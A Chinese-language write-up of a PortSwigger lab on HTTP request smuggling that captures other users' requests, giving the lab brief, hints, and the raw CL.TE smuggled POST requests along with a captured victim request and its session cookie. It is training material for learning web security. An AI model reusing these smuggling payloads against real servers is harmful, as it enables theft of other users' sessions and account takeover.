从业者-利用请求走私-捕获其他用户的请求
# 实验室:利用HTTP请求走私来捕获其他用户的请求
# 题目
此实验室涉及前端和后端服务器,前端服务器不支持分块编码。
若要解决实验室问题,请先走私一个请求到后端服务器,从而将下一个用户的请求存储在应用程序中。然后检索下一个用户的请求,并使用受害用户的 cookie 访问他们的帐户。
笔记
- 尽管实验室支持 HTTP/2,但预期的解决方案需要依靠 HTTP/1 中的可用技术。你可以在 Burp Repeater 的面板 “Inspector > Request attributes” 部分手动切换协议。
- 该实验室会模拟受害用户的活动。你每向实验室发出一定数量的 POST 请求,受害用户就会发出自己的请求。你可能需要重复几次攻击,以确保受害用户的请求按要求发出。
提示
在请求走私攻击中,手动修复长度字段可能很棘手。我们的 Burp 扩展 HTTP Request Smuggler (opens new window) 可以提供这方面的帮助。你可以通过 BApp Store 安装它。
提示-2
如果遇到请求超时,这表明你尝试捕获的字节数 大于 后续请求中的总字节数。尝试减小走私请求前缀中指定的Content-Length
。
- name: 实验室-从业者
desc: 利用HTTP请求走私来捕获其他用户的请求 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
POST / HTTP/1.1
Host: ...
Content-Length: 257
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=i72LNROMPqoxzNaEQC4DL4IUrDGYCXoU
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
csrf=116zHNhQQ2BvLMqrFuGmZO5DaBax4LyQ&postId=10&name=xyz&email=a%40b.c&website=http%3Aa.c&comment=abc
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: ...
Content-Length: 253
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=i72LNROMPqoxzNaEQC4DL4IUrDGYCXoU
Content-Type: application/x-www-form-urlencoded
Content-Length: 680
csrf=116zHNhQQ2BvLMqrFuGmZO5DaBax4LyQ&postId=5&name=xyz&email=a%40b.c&website=http%3Aa.c&comment=
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: 0a5d00fe04c1696e800c263a0091003e.web-security-academy.net
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: ...
Content-Length: 253
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=i72LNROMPqoxzNaEQC4DL4IUrDGYCXoU
Content-Type: application/x-www-form-urlencoded
Content-Length: 900
csrf=116zHNhQQ2BvLMqrFuGmZO5DaBax4LyQ&postId=5&name=xyz&email=a%40b.c&website=http%3Aa.c&comment=
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
cookie: victim-fingerprint=X84yFgqqrWVSsNS8JVpIMlAsbLxL5ppu; secret=m242wDxTfb2d29Zu4HAIBBUGqo1L73E4; session=K52SM8aT7pc1PDTaE9A5WxvnF7FDcrHR
编辑 (opens new window)